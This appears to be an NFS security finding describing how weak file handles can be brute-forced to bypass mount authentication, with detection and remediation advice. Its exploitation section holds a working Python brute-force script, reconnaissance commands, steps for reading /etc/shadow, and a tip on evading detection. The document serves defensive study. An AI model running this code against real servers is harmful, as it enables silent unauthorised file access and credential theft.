F-2.2: File Handle Guessing and Brute Force¶
Classification¶
- Severity: Medium
- CVSS Vector: Network / Low Complexity / No Auth Required
- Affected Versions: NFSv2, NFSv3 (NFSv4 also affected in some implementations)
- RFC Reference: RFC 1813 §2.3.3 (file handle construction unspecified)
- Prerequisite: Network access to NFS port; ideally on the export list or ability to spoof IP
Summary¶
NFS file handles are opaque tokens used to identify files on the server. The NFS specification does not mandate how handles are constructed, and most implementations use deterministic, low-entropy encodings based on device numbers, inode numbers, and generation numbers. An attacker who can send NFS RPCs directly (bypassing the mount daemon) can brute-force valid file handles, gaining access to files without ever performing a mount operation — leaving no trace in mount logs.
Technical detail¶
File handle structure by OS¶
Linux (ext4)¶
| Field | Size | Entropy | Typical Values |
|---|---|---|---|
| fh_version | 1 byte | None | Always 1 |
| fh_auth_type | 1 byte | None | Always 0 |
| fh_fsid_type | 1 byte | None | 0-7 (small set) |
| fh_fileid_type | 1 byte | None | 0, 1, or 2 |
| xdev (major:minor) | 4 bytes | ~11 bits | 6 likely majors x 256 minors |
| xino (export inode) | 4 bytes | ~1 bit | Almost always 2 |
| ino (file inode) | 4 bytes | Variable | Sequential allocation |
| gen_no | 4 bytes | 32 bits | Random-ish on ext3/4 |
| par_ino | 4 bytes | Variable | Small for top-level dirs |
Root file handle: Only xdev needs guessing — ~1,536 possibilities. Crackable in under 1 second on a 1Gbps network.
Non-root file handle: 4 bytes of generation number = ~3.5 days at 13,119 attempts/sec on 1Gbps.
FreeBSD (UFS)¶
| Field | Size | Entropy |
|---|---|---|
| fsid (time + arc4random) | 8 bytes | ~32 bits effective (4 bytes random + guessable time) |
| ufid_ino | 4 bytes | Low (sequential) |
| ufid_gen | 4 bytes | 32 bits (arc4random) |
Total effective entropy: ~64 bits for non-root handles. Practically infeasible to brute-force.
Solaris (UFS)¶
| Field | Size | Entropy |
|---|---|---|
| fh_fsid | 8 bytes | ~11 bits (derived from device numbers) |
| fh_data (ino + gen) | 8 bytes | ~32 bits (gen from fsirand) |
| fh_xdata (export ino + gen) | 8 bytes | Same as root |
Root file handle: ~32 bits. Crackable in ~1 week on 1Gbps.
Why this bypasses security¶
- No mount log entry: Direct NFS RPC communication skips
mountd, sormtabandshowmount -ashow no record - No authentication beyond IP: If the attacker is on the export list (wildcards common), only the handle is needed
- Persistent access: Once a valid handle is obtained, LOOKUP operations reveal all other handles in the tree
- Silent operation: Standard NFS traffic, indistinguishable from normal operations
Brute force algorithm¶
for major in [3, 8, 9, 22, 33, 65]: # IDE, SCSI, md, etc.
for minor in range(0, 256):
fh = construct_root_handle(major, minor)
response = nfs_getattr(target, fh)
if response.status == NFS3_OK:
print(f"FOUND: major={major} minor={minor}")
# Now use READDIRPLUS to enumerate all files
break
Time estimates (from FSL-04-03 research)¶
| OS | Handle Type | 1Gbps Time | 100Mbps Time |
|---|---|---|---|
| Linux | Root handle | < 1 second | < 2 seconds |
| Linux | Non-root | ~3.5 days | ~7 days |
| Solaris | Root handle | ~1 week | ~2 weeks |
| FreeBSD | Root handle | Years | Infeasible |
At 10% bandwidth (to avoid detection): multiply times by 10.
Exploitation¶
Step 1: Identify the target¶
# Confirm NFS is running
nmap -sV -p 2049 target
# 2049/tcp open nfs 2-3 (RPC #100003)
# If portmapper is accessible, enumerate services
rpcinfo -p target
Step 2: Brute force root handle (Linux)¶
import socket
import struct
def craft_getattr_rpc(file_handle):
"""Craft an NFS3 GETATTR RPC call."""
xid = 0x12345678
# RPC call header
rpc_header = struct.pack(">IIIIII",
xid, # XID
0, # CALL
2, # RPC version
100003, # NFS program
3, # NFS version 3
1, # GETATTR procedure
)
# AUTH_UNIX credential (minimal)
auth = struct.pack(">II", 1, 20) # AUTH_UNIX, length
auth += struct.pack(">I", 0) # stamp
auth += struct.pack(">I", 0) # hostname length
auth += struct.pack(">III", 0, 0, 0) # uid, gid, 0 aux gids
# AUTH_NONE verifier
verifier = struct.pack(">II", 0, 0)
# File handle
fh_data = struct.pack(">I", len(file_handle)) + file_handle
return rpc_header + auth + verifier + fh_data
def brute_force_root_handle(target, port=2049):
"""Try common device numbers to find the root handle."""
majors = [3, 8, 9, 22, 33, 65] # IDE, SCSI, md, hd, etc.
for major in majors:
for minor in range(256):
# Construct Linux root file handle
fh = bytes([
0x01, # version
0x00, # auth_type
0x00, # fsid_type (dev major:minor)
0x00, # fileid_type (root = 0)
])
fh += struct.pack(">HH", major, minor) # xdev
fh += struct.pack(">I", 2) # xino (always 2)
pkt = craft_getattr_rpc(fh)
# Send via TCP (with record marking)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
record = struct.pack(">I", 0x80000000 | len(pkt)) + pkt
sock.send(record)
resp = sock.recv(4096)
sock.close()
# Check if reply indicates success (status=0 after RPC header)
if len(resp) > 28:
status = struct.unpack(">I", resp[24:28])[0]
if status == 0: # NFS3_OK
print(f"[+] Valid root handle: major={major} minor={minor}")
return fh
return None
Step 3: Enumerate files via LOOKUP/READDIRPLUS¶
Once the root handle is found:
# Use the valid root handle to list the filesystem
entries = nfs_readdirplus(target, root_fh)
for entry in entries:
print(f"{entry.name} uid={entry.uid} gid={entry.gid} mode={oct(entry.mode)}")
# Recursively enumerate interesting directories
if entry.name in ["etc", "home", "var"]:
sub_entries = nfs_readdirplus(target, entry.handle)
Step 4: Access files directly¶
# Read /etc/shadow using its file handle (obtained via LOOKUP chain)
shadow_fh = nfs_lookup(target, etc_fh, "shadow")
data = nfs_read(target, shadow_fh, offset=0, count=65536)
print(data.decode())
Information leakage from file handles¶
Even without brute-forcing, captured file handles reveal:
- Operating System: Format identifies Linux vs FreeBSD vs Solaris vs Windows
- Filesystem Type: fsid encoding differs per filesystem
- Installation Date: FreeBSD fsid contains filesystem creation timestamp
- Disk Layout: Device major/minor reveals IDE, SCSI, NVMe, LVM, md-RAID
- Inode Allocation: Reveals file creation order and approximate file count
- Export Structure: Parent inode reveals directory hierarchy
Impact¶
- Bypass mount authentication entirely — no mount log trace
- Access any file on the target filesystem once root handle is obtained
- Reconnaissance: File handle analysis reveals server OS, disk type, filesystem age
- Persistent access: Handles remain valid across server restarts (they're persistent by design)
Detection¶
- File handle guessing generates GETATTR requests with
NFS3ERR_BADHANDLEreplies — high volumes are detectable via packet inspection - No standard logging captures failed handle attempts
- Network IDS signatures for rapid sequential GETATTR calls from a single source
Remediation¶
- Use NFSv4 with RPCSEC_GSS — per-request authentication makes guessed handles useless
- Restrict export lists — no wildcards, specific IPs only
- Firewall port 2049 — limit access to known NFS clients
- Windows NFS Server: Enable file handle signing (default) — adds HMAC to handles
- Rate limiting: Some NFS implementations can limit RPC rate per client
- NFSv4 volatile file handles: Handles expire, limiting the window of exploitation